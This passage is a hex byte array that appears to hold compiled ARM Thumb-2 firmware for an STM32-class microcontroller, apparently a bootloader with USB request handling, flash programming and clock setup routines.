0x02, 0xd1, 0x30, 0x46, 0xa6, 0x49, 0x0f, 0xe0, 0x05, 0x2b, 0x40, 0xf0,
0x83, 0x81, 0xac, 0x78, 0x1c, 0xb9, 0x30, 0x46, 0xa3, 0x49, 0xea, 0x88,
0x72, 0xe1, 0x00, 0x21, 0x01, 0xa8, 0x0a, 0x22, 0x01, 0xf0, 0x96, 0xfb,
0x30, 0x46, 0x01, 0xa9, 0xea, 0x88, 0x86, 0xe0, 0x2c, 0x78, 0x14, 0xf0,
0x60, 0x04, 0x00, 0xf0, 0x4d, 0x81, 0x20, 0x2c, 0x40, 0xf0, 0x6e, 0x81,
0x6c, 0x78, 0x06, 0x2c, 0x00, 0xf2, 0x28, 0x81, 0xdf, 0xe8, 0x14, 0xf0,
0xf7, 0x00, 0x07, 0x00, 0x30, 0x00, 0x93, 0x00, 0xcd, 0x00, 0xde, 0x00,
0xe2, 0x00, 0xea, 0x88, 0x93, 0x4b, 0xc2, 0xb1, 0x19, 0x78, 0x02, 0x29,
0x01, 0xd0, 0x05, 0x29, 0x6f, 0xd1, 0x68, 0x88, 0x90, 0x49, 0xc6, 0xf8,
0xec, 0x22, 0x08, 0x60, 0x8f, 0x49, 0xc6, 0xf8, 0xe8, 0x22, 0x0a, 0x60,
0x03, 0x21, 0x19, 0x70, 0x8d, 0x4b, 0x86, 0xf8, 0xe1, 0x10, 0x19, 0x71,
0x30, 0x46, 0x8c, 0x49, 0x00, 0xf0, 0x99, 0xfe, 0x44, 0xe1, 0x1a, 0x78,
0x05, 0x2a, 0x01, 0xd0, 0x02, 0x2a, 0x56, 0xd1, 0x88, 0x4a, 0x01, 0x21,
0x11, 0x60, 0x06, 0x22, 0x1a, 0x70, 0x84, 0x4b, 0x1a, 0x71, 0x37, 0xe1,
0xb5, 0xf8, 0x06, 0x80, 0x7e, 0x4b, 0xb8, 0xf1, 0x00, 0x0f, 0x56, 0xd0,
0x19, 0x78, 0x7d, 0x4a, 0x02, 0x29, 0xdf, 0xf8, 0xf4, 0x91, 0x01, 0xd0,
0x09, 0x29, 0x45, 0xd1, 0x6f, 0x88, 0xc9, 0xf8, 0x00, 0x80, 0x17, 0x60,
0x79, 0x4a, 0x87, 0xb9, 0xb8, 0xf1, 0x03, 0x0f, 0x78, 0x49, 0x98, 0xbf,
0x09, 0x24, 0x1c, 0x70, 0x21, 0x23, 0x14, 0x71, 0x4b, 0x70, 0x30, 0x46,
0x41, 0x23, 0x03, 0x22, 0x0f, 0x70, 0x8b, 0x70, 0xff, 0xf7, 0x7c, 0xfe,
0xce, 0xe0, 0x01, 0x2f, 0x24, 0xd0, 0x09, 0x21, 0x19, 0x70, 0x71, 0x4b,
0x07, 0xf5, 0x7f, 0x27, 0x1b, 0x68, 0x07, 0xf6, 0xfe, 0x77, 0x03, 0xeb,
0x07, 0x37, 0x6e, 0x4b, 0x11, 0x71, 0x1c, 0x68, 0x39, 0x46, 0x20, 0x46,
0xff, 0xf7, 0x24, 0xfe, 0x58, 0xb9, 0x01, 0x2c, 0x09, 0xd8, 0x6a, 0x4b,
0x53, 0xf8, 0x24, 0x30, 0x5b, 0x69, 0x23, 0xb1, 0x41, 0x46, 0x38, 0x46,
0x98, 0x47, 0x01, 0x46, 0x00, 0xe0, 0x61, 0x49, 0x30, 0x46, 0xb9, 0xf8,
0x00, 0x20, 0xff, 0xf7, 0x55, 0xfe, 0xeb, 0xe0, 0x0f, 0x21, 0x19, 0x70,
0x11, 0x71, 0x30, 0x46, 0x29, 0x46, 0xff, 0xf7, 0x5a, 0xfe, 0xe3, 0xe0,
0x00, 0x24, 0x30, 0x46, 0x29, 0x46, 0xc9, 0xf8, 0x00, 0x40, 0x14, 0x60,
0xff, 0xf7, 0x51, 0xfe, 0xdb, 0xe0, 0x02, 0x22, 0x1a, 0x70, 0x53, 0x4b,
0x44, 0x46, 0x1a, 0x71, 0xd5, 0xe0, 0x4e, 0x4b, 0x1a, 0x78, 0x06, 0x2a,
0x20, 0xd0, 0x07, 0x2a, 0x2b, 0xd0, 0x03, 0x2a, 0x2d, 0xd1, 0x4c, 0x4a,
0x11, 0x68, 0x4c, 0x4a, 0xa1, 0xb1, 0x04, 0x21, 0x19, 0x70, 0x48, 0x4b,
0x11, 0x71, 0x1a, 0x68, 0x4c, 0x49, 0x4b, 0x4b, 0x32, 0xb9, 0x48, 0x48,
0x00, 0x78, 0x41, 0x28, 0x02, 0xd1, 0x08, 0x68, 0x19, 0x68, 0x02, 0xe0,
0x08, 0x68, 0x19, 0x68, 0x01, 0x22, 0x00, 0xf0, 0x21, 0xfe, 0x14, 0xe0,
0x05, 0x21, 0x19, 0x70, 0x11, 0x71, 0x10, 0xe0, 0x40, 0x4a, 0x12, 0x68,
0x01, 0x2a, 0x03, 0xd1, 0x07, 0x22, 0x1a, 0x70, 0x05, 0x22, 0x06, 0xe0,
0x3a, 0xb9, 0x40, 0x4a, 0x52, 0x7f, 0x52, 0x07, 0x03, 0xd5, 0x02, 0x22,
0x1a, 0x70, 0x37, 0x4b, 0x1a, 0x71, 0x30, 0x46, 0x35, 0x49, 0x06, 0x22,
0xab, 0xe7, 0x31, 0x4a, 0x13, 0x78, 0x0a, 0x2b, 0x32, 0x4b, 0x05, 0xd1,
0x02, 0x21, 0x00, 0x24, 0x11, 0x70, 0x1c, 0x70, 0x19, 0x71, 0x90, 0xe0,
0x0a, 0x21, 0x11, 0x70, 0x0e, 0x22, 0x1a, 0x70, 0x19, 0x71, 0x89, 0xe0,
0x30, 0x46, 0x28, 0x49, 0x01, 0x22, 0x96, 0xe7, 0x26, 0x4b, 0x1a, 0x78,
0x91, 0x1e, 0x01, 0x29, 0x04, 0xd9, 0x51, 0x1f, 0x01, 0x29, 0x01, 0xd9,
0x09, 0x2a, 0x7b, 0xd1, 0x02, 0x22, 0x1a, 0x70, 0x23, 0x4b, 0x00, 0x24,
0x1c, 0x70, 0x1a, 0x71, 0x1f, 0x4b, 0x1c, 0x60, 0x1f, 0x4b, 0x1c, 0x60,
0x71, 0xe0, 0x1c, 0x4b, 0x1a, 0x78, 0x91, 0x1e, 0x01, 0x29, 0x04, 0xd9,
0x51, 0x1f, 0x01, 0x29, 0x01, 0xd9, 0x09, 0x2a, 0x08, 0xd1, 0x02, 0x22,
0x1a, 0x70, 0x19, 0x4b, 0x1a, 0x71, 0x16, 0x4a, 0x00, 0x23, 0x13, 0x60,
0x15, 0x4a, 0x13, 0x60, 0x1b, 0x4b, 0x9b, 0x7f, 0x03, 0xf0, 0x10, 0x03,
0x03, 0xf0, 0xff, 0x07, 0x63, 0xb1, 0x30, 0x46, 0x00, 0xf0, 0x38, 0xfe,
0x32, 0x69, 0x40, 0xf6, 0xb8, 0x30, 0x53, 0x68, 0x6f, 0xf3, 0x41, 0x03,
0x53, 0x60, 0xff, 0xf7, 0x45, 0xfb, 0x4a, 0xe0, 0x6b, 0x88, 0x4f, 0xf4,
0x7a, 0x70, 0x58, 0x43, 0xff, 0xf7, 0x3e, 0xfb, 0x3c, 0x46, 0x42, 0xe0,
0x30, 0x46, 0x29, 0x46, 0xff, 0xf7, 0xb3, 0xfd, 0x3a, 0xe0, 0x00, 0xbf,
0xe6, 0x3a, 0x00, 0x08, 0xe4, 0x39, 0x00, 0x08, 0x2c, 0x02, 0x00, 0x20,
0x20, 0x02, 0x00, 0x20, 0x18, 0x02, 0x00, 0x20, 0xf0, 0x18, 0x00, 0x20,
0x18, 0x03, 0x00, 0x20, 0x28, 0x02, 0x00, 0x20, 0xe4, 0x00, 0x00, 0x20,
0x24, 0x02, 0x00, 0x20, 0x78, 0x01, 0x00, 0x20, 0xbe, 0x00, 0x00, 0x20,
0x6b, 0x78, 0x0a, 0x2b, 0x11, 0xd0, 0x0b, 0x2b, 0x15, 0xd0, 0x06, 0x2b,
0x1d, 0xd1, 0x6b, 0x88, 0x1b, 0x0a, 0x21, 0x2b, 0x05, 0xd1, 0xea, 0x88,
0x0e, 0x49, 0x09, 0x2a, 0x28, 0xbf, 0x09, 0x22, 0x01, 0xe0, 0x21, 0x46,
0x22, 0x46, 0x30, 0x46, 0x02, 0xe0, 0x30, 0x46, 0x0a, 0x49, 0x01, 0x22,
0xff, 0xf7, 0x72, 0xfd, 0x09, 0xe0, 0xab, 0x78, 0x01, 0x2b, 0x3f, 0xf6,
0x1c, 0xaf, 0x06, 0x4a, 0x13, 0x60, 0x02, 0xe0, 0x02, 0x24, 0x00, 0xe0,
0x00, 0x24, 0x20, 0x46, 0x05, 0xb0, 0xbd, 0xe8, 0xf0, 0x83, 0x00, 0xbf,
0xd9, 0x00, 0x00, 0x20, 0x24, 0x02, 0x00, 0x20, 0x10, 0xb5, 0x04, 0x46,
0xd0, 0xf8, 0xc4, 0x34, 0x1b, 0x68, 0x98, 0x47, 0xd4, 0xf8, 0xc8, 0x34,
0x0b, 0xb1, 0x9b, 0x68, 0x98, 0x47, 0x00, 0x20, 0x10, 0xbd, 0x00, 0x00,
0xf8, 0xb5, 0x8b, 0x07, 0x07, 0x46, 0x0e, 0x46, 0x01, 0xd0, 0x0a, 0x46,
0x07, 0xe0, 0x00, 0xf0, 0xc3, 0xff, 0x12, 0x4b, 0xf3, 0x22, 0xda, 0x60,
0x08, 0x24, 0x00, 0x25, 0x12, 0xe0, 0x4f, 0xf6, 0xfc, 0x73, 0x33, 0x40,
0x04, 0x33, 0x9a, 0x42, 0xf1, 0xd2, 0x0d, 0x4b, 0xff, 0x21, 0xd1, 0x54,
0x01, 0x32, 0xf4, 0xe7, 0x08, 0x2c, 0x09, 0xd1, 0x09, 0x4b, 0xe9, 0x58,
0x00, 0xf0, 0x50, 0xff, 0x04, 0x46, 0x04, 0x35, 0xb5, 0x42, 0x05, 0xeb,
0x07, 0x00, 0xf3, 0xd3, 0x00, 0xf0, 0x9c, 0xff, 0xb4, 0xf1, 0x08, 0x00,
0x18, 0xbf, 0x01, 0x20, 0xf8, 0xbd, 0x00, 0xbf, 0x00, 0x3c, 0x02, 0x40,
0x18, 0x03, 0x00, 0x20, 0x10, 0xb5, 0x04, 0x46, 0x00, 0xf0, 0x96, 0xff,
0x0e, 0x4b, 0xf3, 0x22, 0xda, 0x60, 0x20, 0x46, 0x00, 0xf0, 0xec, 0xf8,
0x04, 0x46, 0x0c, 0x4b, 0x01, 0x20, 0xa0, 0x40, 0x1b, 0x88, 0x80, 0xb2,
0x18, 0x42, 0x01, 0xd1, 0xff, 0xf7, 0xa6, 0xfa, 0x08, 0x4b, 0x02, 0x21,
0x18, 0x5d, 0x00, 0xf0, 0x43, 0xff, 0x04, 0x46, 0x00, 0xf0, 0x76, 0xff,
0xb4, 0xf1, 0x08, 0x00, 0x18, 0xbf, 0x01, 0x20, 0x10, 0xbd, 0x00, 0xbf,
0x00, 0x3c, 0x02, 0x40, 0x16, 0x3c, 0x02, 0x40, 0x76, 0x3a, 0x00, 0x08,
0x70, 0xb5, 0x04, 0x9d, 0x9d, 0xf8, 0x18, 0x40, 0x00, 0x28, 0x71, 0xd1,
0xb1, 0xf1, 0x00, 0x6f, 0x6e, 0xd3, 0x6e, 0x1e, 0x0e, 0x44, 0xb6, 0xf1,
0x01, 0x6f, 0x69, 0xd8, 0x00, 0x2a, 0x68, 0xd1, 0xb3, 0xf1, 0x00, 0x6f,
0x64, 0xd3, 0x5a, 0x1e, 0x2a, 0x44, 0xb2, 0xf1, 0x01, 0x6f, 0x5f, 0xd8,
0x14, 0xf0, 0x0e, 0x0f, 0x01, 0xd1, 0x01, 0x20, 0x70, 0xbd, 0x08, 0x68,
0x2d, 0x4a, 0x02, 0x40, 0xb2, 0xf1, 0x00, 0x5f, 0x14, 0xbf, 0x0a, 0x46,
0x01, 0xf5, 0xc2, 0x72, 0x12, 0xb1, 0x50, 0x68, 0x12, 0x68, 0x82, 0x1a,
0x14, 0xf0, 0x0a, 0x0f, 0x02, 0xd0, 0x10, 0x1d, 0x85, 0x42, 0x47, 0xd3,
0x0d, 0x68, 0x24, 0x48, 0x28, 0x40, 0xb0, 0xf1, 0x00, 0x5f, 0x14, 0xbf,
0x08, 0x46, 0x01, 0xf5, 0xc2, 0x70, 0x85, 0x7b, 0x01, 0x2d, 0x02, 0xd0,
0x86, 0x89, 0x06, 0x2e, 0x38, 0xd1, 0x66, 0x07, 0x02, 0xd5, 0x00, 0x68,
0x98, 0x42, 0x33, 0xd1, 0x20, 0x07, 0x03, 0xd5, 0x9d, 0xf8, 0x14, 0x30,
0x9d, 0x42, 0x2d, 0xd1, 0xa3, 0x07, 0xce, 0xd5, 0x52, 0xb3, 0x50, 0x58,
0x00, 0xba, 0x16, 0x4b, 0x01, 0x24, 0x9c, 0x60, 0x22, 0xf0, 0x03, 0x04,
0x0c, 0x44, 0xa1, 0x42, 0x05, 0xd0, 0x51, 0xf8, 0x04, 0x5b, 0x95, 0xfa,
0xa5, 0xf5, 0x1d, 0x60, 0xf7, 0xe7, 0x0f, 0x4b, 0x1b, 0x68, 0x93, 0xfa,
0xa3, 0xf3, 0x02, 0xf0, 0x03, 0x02, 0x0a, 0x44, 0x91, 0x42, 0x0e, 0xd0,
0x11, 0xf8, 0x01, 0x4b, 0x63, 0x40, 0x08, 0x24, 0x13, 0xf0, 0x01, 0x0f,
0x4f, 0xea, 0x53, 0x05, 0x16, 0xbf, 0x07, 0x4b, 0x2b, 0x46, 0x6b, 0x40,
0x01, 0x3c, 0xf5, 0xd1, 0xee, 0xe7, 0xdb, 0x43, 0x98, 0x42, 0xa2, 0xd0,
0x00, 0x20, 0x70, 0xbd, 0x00, 0x00, 0xf1, 0x2f, 0x00, 0x30, 0x02, 0x40,
0x20, 0x83, 0xb8, 0xed, 0x4f, 0xf0, 0x80, 0x43, 0xd8, 0x6a, 0x01, 0x30,
0x80, 0xb2, 0x70, 0x47, 0x4f, 0xf0, 0x80, 0x43, 0x9a, 0x6b, 0x02, 0x80,
0xda, 0x6b, 0x42, 0x80, 0x1b, 0x6c, 0x83, 0x80, 0x70, 0x47, 0x00, 0x00,
0x11, 0x4a, 0x18, 0x23, 0x10, 0xb5, 0x03, 0xfb, 0x00, 0x20, 0x83, 0x7d,
0xda, 0x07, 0x19, 0xd5, 0x5b, 0x07, 0x5c, 0xbf, 0x4f, 0xf0, 0x80, 0x43,
0xdb, 0x6a, 0x02, 0x69, 0x58, 0xbf, 0x01, 0x33, 0x80, 0x8a, 0x5c, 0xbf,
0x59, 0x1a, 0x89, 0xb2, 0x08, 0xb9, 0x51, 0x63, 0x10, 0xbd, 0x04, 0x28,
0x01, 0xd1, 0x91, 0x63, 0x10, 0xbd, 0x08, 0x28, 0x01, 0xd1, 0xd1, 0x63,
0x10, 0xbd, 0x0c, 0x28, 0x08, 0xbf, 0x11, 0x64, 0x10, 0xbd, 0x00, 0xbf,
0x50, 0x02, 0x00, 0x20, 0x70, 0xb5, 0x06, 0x46, 0x0d, 0x46, 0x14, 0x46,
0x4f, 0xf0, 0x80, 0x43, 0x98, 0x63, 0xd9, 0x63, 0x06, 0x20, 0x31, 0x46,
0x1a, 0x64, 0xff, 0xf7, 0xcd, 0xff, 0x29, 0x46, 0x07, 0x20, 0xff, 0xf7,
0xc9, 0xff, 0x21, 0x46, 0xbd, 0xe8, 0x70, 0x40, 0x05, 0x20, 0xff, 0xf7,
0xc3, 0xbf, 0x00, 0x00, 0x12, 0x4b, 0x98, 0x42, 0x11, 0xd9, 0x03, 0xf5,
0x80, 0x43, 0x98, 0x42, 0x0f, 0xd9, 0x03, 0xf5, 0x80, 0x43, 0x98, 0x42,
0x0d, 0xd9, 0x03, 0xf5, 0x80, 0x43, 0x98, 0x42, 0x0b, 0xd9, 0x03, 0xf5,
0x80, 0x33, 0x98, 0x42, 0x0b, 0xd8, 0x05, 0x20, 0x06, 0xe0, 0x01, 0x20,
0x04, 0xe0, 0x02, 0x20, 0x02, 0xe0, 0x03, 0x20, 0x00, 0xe0, 0x04, 0x20,
0x01, 0x38, 0x80, 0xb2, 0x70, 0x47, 0x00, 0xf1, 0x77, 0x40, 0x00, 0xf5,
0x7e, 0x00, 0x40, 0x0c, 0x05, 0x30, 0x70, 0x47, 0xff, 0x3f, 0x00, 0x08,
0x02, 0x48, 0x00, 0x21, 0x20, 0x22, 0x01, 0xf0, 0x0e, 0xb8, 0x00, 0xbf,
0x30, 0x02, 0x00, 0x20, 0x07, 0xb5, 0x4d, 0xf2, 0x01, 0x02, 0x0f, 0x4b,
0x4f, 0xf4, 0xa0, 0x44, 0xda, 0x81, 0x1c, 0x81, 0xff, 0xf7, 0xee, 0xff,
0x00, 0x23, 0x01, 0x93, 0x0b, 0x4b, 0x0c, 0x48, 0x01, 0x93, 0x01, 0x9b,
0x28, 0x33, 0x01, 0x93, 0x01, 0x9b, 0x1c, 0x60, 0x00, 0xf0, 0x5e, 0xfc,
0xbf, 0xf3, 0x4f, 0x8f, 0x07, 0x49, 0x08, 0x4b, 0xca, 0x68, 0x02, 0xf4,
0xe0, 0x62, 0x13, 0x43, 0xcb, 0x60, 0xbf, 0xf3, 0x4f, 0x8f, 0xfe, 0xe7,
0x30, 0x02, 0x00, 0x20, 0x50, 0x28, 0x00, 0x40, 0x18, 0x14, 0x00, 0x20,
0x00, 0xed, 0x00, 0xe0, 0x04, 0x00, 0xfa, 0x05, 0x10, 0xb5, 0x0a, 0x48,
0xff, 0xf7, 0x92, 0xf9, 0x4f, 0xf6, 0xff, 0x72, 0x08, 0x4b, 0x04, 0x46,
0x9a, 0x81, 0x30, 0xb1, 0x00, 0x22, 0x5a, 0x81, 0x1a, 0x74, 0x5a, 0x22,
0x5a, 0x74, 0xff, 0xf7, 0xc3, 0xff, 0xff, 0xf7, 0xb9, 0xff, 0x20, 0x46,
0x10, 0xbd, 0x00, 0xbf, 0x45, 0x1b, 0x00, 0x08, 0x30, 0x02, 0x00, 0x20,
0xf0, 0xb5, 0x27, 0x4e, 0x40, 0x01, 0x37, 0x18, 0xbb, 0x7d, 0x4f, 0xf0,
0x0f, 0x0c, 0x03, 0xf0, 0x03, 0x04, 0x03, 0xf0, 0xfc, 0x03, 0x03, 0xf1,
0x80, 0x43, 0x03, 0xf5, 0x9c, 0x33, 0x9d, 0x68, 0xa4, 0x00, 0x0c, 0xfa,
0x04, 0xfc, 0x25, 0xea, 0x0c, 0x05, 0x97, 0xf8, 0x14, 0xe0, 0x9d, 0x60,
0x9d, 0x68, 0x0e, 0xfa, 0x04, 0xf4, 0x2c, 0x43, 0x9c, 0x60, 0x7c, 0x8a,
0x19, 0x4b, 0x5c, 0x61, 0x7d, 0x8a, 0x3c, 0x7f, 0xea, 0x43, 0x19, 0xb3,
0x19, 0x68, 0x10, 0x2c, 0x01, 0xea, 0x02, 0x01, 0x19, 0x60, 0x59, 0x68,
0x01, 0xea, 0x02, 0x01, 0x59, 0x60, 0x19, 0x68, 0x41, 0xea, 0x05, 0x01,
0x19, 0x60, 0x99, 0x68, 0x01, 0xea, 0x02, 0x01, 0x99, 0x60, 0xd9, 0x68,
0x02, 0xea, 0x01, 0x02, 0xda, 0x60, 0x06, 0xd1, 0x9a, 0x68, 0x2a, 0x43,
0x9a, 0x60, 0xda, 0x68, 0x2a, 0x43, 0xda, 0x60, 0x09, 0xe0, 0x04, 0xf1,
0x80, 0x43, 0x03, 0xf5, 0x9e, 0x33, 0x1a, 0x68, 0x2a, 0x43, 0x01, 0xe0,
0x19, 0x68, 0x0a, 0x40, 0x1a, 0x60, 0x30, 0x44, 0x42, 0x8a, 0x02, 0x4b,
0x5a, 0x61, 0xf0, 0xbd, 0x10, 0x01, 0x00, 0x20, 0x00, 0x3c, 0x01, 0x40,
0x10, 0xb5, 0x71, 0xbb, 0x03, 0x8c, 0x63, 0x4c, 0x23, 0xf0, 0x01, 0x03,
0x1b, 0x04, 0x1b, 0x0c, 0x03, 0x84, 0x03, 0x8c, 0x81, 0x88, 0x02, 0x8b,
0xa0, 0x42, 0x22, 0xf0, 0x73, 0x02, 0x4f, 0xea, 0x02, 0x42, 0x4f, 0xea,
0x12, 0x42, 0x9b, 0xb2, 0x89, 0xb2, 0x42, 0xf0, 0x60, 0x02, 0x08, 0xd0,
0x04, 0xf5, 0x80, 0x64, 0xa0, 0x42, 0x04, 0xd0, 0x23, 0xf0, 0x02, 0x03,
0x43, 0xf0, 0x03, 0x03, 0x06, 0xe0, 0x23, 0xf0, 0x0e, 0x03, 0x21, 0xf4,
0x40, 0x71, 0x43, 0xf0, 0x03, 0x03, 0x89, 0xb2, 0x81, 0x80, 0x02, 0x83,
0x00, 0x22, 0x42, 0x63, 0x03, 0x84, 0x03, 0x8b, 0x23, 0xf0, 0x08, 0x03,
0x2f, 0xe0, 0x04, 0x29, 0x31, 0xd1, 0x03, 0x8c, 0x4a, 0x4c, 0x23, 0xf0,
0x10, 0x03, 0x1b, 0x04, 0x1b, 0x0c, 0x03, 0x84, 0x03, 0x8c, 0x81, 0x88,
0x02, 0x8b, 0xa0, 0x42, 0x22, 0xf4, 0xe6, 0x42, 0x4f, 0xea, 0x02, 0x42,
0x4f, 0xea, 0x12, 0x42, 0x9b, 0xb2, 0x89, 0xb2, 0x42, 0xf4, 0xc0, 0x42,
0x08, 0xd0, 0x04, 0xf5, 0x80, 0x64, 0xa0, 0x42, 0x04, 0xd0, 0x23, 0xf0,
0x20, 0x03, 0x43, 0xf0, 0x30, 0x03, 0x06, 0xe0, 0x23, 0xf0, 0xe0, 0x03,
0x21, 0xf4, 0x40, 0x61, 0x43, 0xf0, 0x30, 0x03, 0x89, 0xb2, 0x81, 0x80,
0x02, 0x83, 0x00, 0x22, 0x82, 0x63, 0x03, 0x84, 0x03, 0x8b, 0x23, 0xf4,
0x00, 0x63, 0x1b, 0x04, 0x1b, 0x0c, 0x03, 0x83, 0x5d, 0xe0, 0x08, 0x29,
0x2e, 0xd1, 0x03, 0x8c, 0x30, 0x4c, 0x23, 0xf4, 0x80, 0x73, 0x1b, 0x04,
0x1b, 0x0c, 0x03, 0x84, 0x03, 0x8c, 0x81, 0x88, 0x82, 0x8b, 0xa0, 0x42,
0x22, 0xf0, 0x73, 0x02, 0x4f, 0xea, 0x02, 0x42, 0x4f, 0xea, 0x12, 0x42,
0x9b, 0xb2, 0x89, 0xb2, 0x42, 0xf0, 0x60, 0x02, 0x08, 0xd0, 0x04, 0xf5,
0x80, 0x64, 0xa0, 0x42, 0x04, 0xd0, 0x23, 0xf4, 0x00, 0x73, 0x43, 0xf4,
0x40, 0x73, 0x06, 0xe0, 0x23, 0xf4, 0x60, 0x63, 0x21, 0xf4, 0x40, 0x51,
0x43, 0xf4, 0x40, 0x73, 0x89, 0xb2, 0x81, 0x80, 0x82, 0x83, 0x00, 0x22,
0xc2, 0x63, 0x03, 0x84, 0x83, 0x8b, 0x23, 0xf0, 0x08, 0x03, 0x29, 0xe0,
0x0c, 0x29, 0x2a, 0xd1, 0x03, 0x8c, 0x18, 0x4c, 0x23, 0xf4, 0x80, 0x53,
0x1b, 0x04, 0x1b, 0x0c, 0x03, 0x84, 0x03, 0x8c, 0x81, 0x88, 0x82, 0x8b,
0x23, 0xf4, 0x00, 0x53, 0x22, 0xf4, 0xe6, 0x42, 0x12, 0x04, 0x1b, 0x04,
0x12, 0x0c, 0x1b, 0x0c, 0xa0, 0x42, 0x89, 0xb2, 0x42, 0xf4, 0xc0, 0x42,
0x43, 0xf4, 0x40, 0x53, 0x03, 0xd0, 0x04, 0xf5, 0x80, 0x64, 0xa0, 0x42,
0x02, 0xd1, 0x21, 0xf4, 0x80, 0x41, 0x89, 0xb2, 0x81, 0x80, 0x82, 0x83,
0x00, 0x22, 0x02, 0x64, 0x03, 0x84, 0x83, 0x8b, 0x23, 0xf4, 0x00, 0x63,
0x1b, 0x04, 0x1b, 0x0c, 0x83, 0x83, 0x03, 0x88, 0x9b, 0xb2, 0x43, 0xf0,
0x80, 0x03, 0x03, 0x80, 0x10, 0xbd, 0x00, 0xbf, 0x00, 0x00, 0x01, 0x40,
0x03, 0x88, 0x10, 0xb5, 0xdb, 0x07, 0x6d, 0xd4, 0x40, 0x4b, 0x41, 0x4c,
0x1a, 0x68, 0xa0, 0x42, 0x4f, 0xea, 0x52, 0x03, 0x07, 0xd1, 0x04, 0xf5,
0x9c, 0x34, 0x63, 0x6c, 0x43, 0xf0, 0x01, 0x03, 0x63, 0x64, 0x13, 0x46,
0x1f, 0xe0, 0xb0, 0xf1, 0x80, 0x4f, 0x04, 0xd1, 0x39, 0x4c, 0x22, 0x6c,
0x42, 0xf0, 0x01, 0x02, 0x16, 0xe0, 0x38, 0x4a, 0x90, 0x42, 0x04, 0xd1,
0x35, 0x4c, 0x22, 0x6c, 0x42, 0xf0, 0x02, 0x02, 0x0e, 0xe0, 0x35, 0x4a,
0x90, 0x42, 0x04, 0xd1, 0x31, 0x4c, 0x22, 0x6c, 0x42, 0xf0, 0x04, 0x02,
0x06, 0xe0, 0x32, 0x4a, 0x90, 0x42, 0x04, 0xd1, 0x2d, 0x4c, 0x22, 0x6c,
0x42, 0xf0, 0x08, 0x02, 0x22, 0x64, 0x2f, 0x4a, 0x29, 0x4c, 0xb3, 0xfb,
0xf2, 0xf2, 0x03, 0x88, 0x01, 0x3a, 0xa0, 0x42, 0x92, 0xb2, 0x9b, 0xb2,
0x12, 0xd0, 0x04, 0xf5, 0x80, 0x64, 0xa0, 0x42, 0x0e, 0xd0, 0xb0, 0xf1,
0x80, 0x4f, 0x0b, 0xd0, 0xa4, 0xf5, 0x80, 0x34, 0xa0, 0x42, 0x07, 0xd0,
0x04, 0xf5, 0x80, 0x64, 0xa0, 0x42, 0x03, 0xd0, 0x04, 0xf5, 0x80, 0x64,
0xa0, 0x42, 0x02, 0xd1, 0x23, 0xf0, 0x70, 0x03, 0x9b, 0xb2, 0x20, 0x4c,
0xa0, 0x42, 0x06, 0xd0, 0x04, 0xf5, 0x80, 0x64, 0xa0, 0x42, 0x1c, 0xbf,
0x23, 0xf4, 0x40, 0x73, 0x9b, 0xb2, 0x03, 0x80, 0x42, 0xf2, 0x0f, 0x73,
0xc3, 0x62, 0x13, 0x4b, 0x02, 0x85, 0x98, 0x42, 0x03, 0xd0, 0x03, 0xf5,
0x80, 0x63, 0x98, 0x42, 0x01, 0xd1, 0x00, 0x23, 0x03, 0x86, 0x01, 0x23,
0x83, 0x82, 0x03, 0x88, 0x9b, 0xb2, 0x43, 0xf0, 0x80, 0x03, 0x03, 0x80,
0x89, 0xb1, 0x03, 0x88, 0x9b, 0xb2, 0x43, 0xf0, 0x01, 0x03, 0x03, 0x80,
0x07, 0x4b, 0x98, 0x42, 0x01, 0xbf, 0xb0, 0xf8, 0x44, 0x30, 0x6f, 0xea,
0x43, 0x43, 0x6f, 0xea, 0x53, 0x43, 0x9b, 0xb2, 0x08, 0xbf, 0xa0, 0xf8,
0x44, 0x30, 0x10, 0xbd, 0x0c, 0x01, 0x00, 0x20, 0x00, 0x00, 0x01, 0x40,
0x00, 0x38, 0x02, 0x40, 0x00, 0x04, 0x00, 0x40, 0x00, 0x08, 0x00, 0x40,
0x00, 0x0c, 0x00, 0x40, 0x40, 0x42, 0x0f, 0x00, 0x00, 0x10, 0x00, 0x40,
0x2f, 0x4b, 0x00, 0x21, 0x1a, 0x68, 0x82, 0xb0, 0x42, 0xf0, 0x01, 0x02,
0x1a, 0x60, 0x99, 0x60, 0x1a, 0x68, 0x22, 0xf0, 0x84, 0x72, 0x22, 0xf4,
0x80, 0x32, 0x1a, 0x60, 0x29, 0x4a, 0x5a, 0x60, 0x1a, 0x68, 0x22, 0xf4,
0x80, 0x22, 0x1a, 0x60, 0xd9, 0x60, 0x00, 0x91, 0x01, 0x91, 0x1a, 0x68,
0x42, 0xf4, 0x80, 0x32, 0x1a, 0x60, 0x22, 0x4b, 0x1a, 0x68, 0x02, 0xf4,
0x00, 0x32, 0x01, 0x92, 0x00, 0x9a, 0x01, 0x32, 0x00, 0x92, 0x01, 0x9a,
0x1a, 0xb9, 0x00, 0x9a, 0xb2, 0xf5, 0xa0, 0x6f, 0xf1, 0xd1, 0x1b, 0x68,
0x13, 0xf4, 0x00, 0x33, 0x18, 0xbf, 0x01, 0x23, 0x01, 0x93, 0x01, 0x9b,
0x01, 0x2b, 0x05, 0xd0, 0x18, 0x4b, 0x4f, 0xf0, 0x00, 0x62, 0x9a, 0x60,
0x02, 0xb0, 0x70, 0x47, 0x13, 0x4b, 0x9a, 0x68, 0x9a, 0x60, 0x9a, 0x68,
0x42, 0xf4, 0x00, 0x42, 0x9a, 0x60, 0x9a, 0x68, 0x42, 0xf4, 0xa0, 0x52,
0x9a, 0x60, 0x11, 0x4a, 0x5a, 0x60, 0x1a, 0x68, 0x42, 0xf0, 0x80, 0x72,
0x1a, 0x60, 0x19, 0x68, 0x0a, 0x4a, 0x89, 0x01, 0xfb, 0xd5, 0x40, 0xf2,
0x03, 0x71, 0x0c, 0x4b, 0x19, 0x60, 0x93, 0x68, 0x23, 0xf0, 0x03, 0x03,
0x93, 0x60, 0x93, 0x68, 0x43, 0xf0, 0x02, 0x03, 0x93, 0x60, 0x03, 0x4b,
0x9b, 0x68, 0x03, 0xf0, 0x0c, 0x03, 0x08, 0x2b, 0xf9, 0xd1, 0xd1, 0xe7,
0x00, 0x38, 0x02, 0x40, 0x10, 0x30, 0x00, 0x24, 0x00, 0xed, 0x00, 0xe0,
0x1a, 0x3c, 0x40, 0x05, 0x00, 0x3c, 0x02, 0x40, 0x42, 0x09, 0x01, 0x2a,
0x07, 0x4b, 0x01, 0xd1, 0x1b, 0x68, 0x03, 0xe0, 0x02, 0x2a, 0x0c, 0xbf,
0x1b, 0x6f, 0x5b, 0x6f, 0x00, 0xf0, 0x1f, 0x00, 0x23, 0xfa, 0x00, 0xf0,
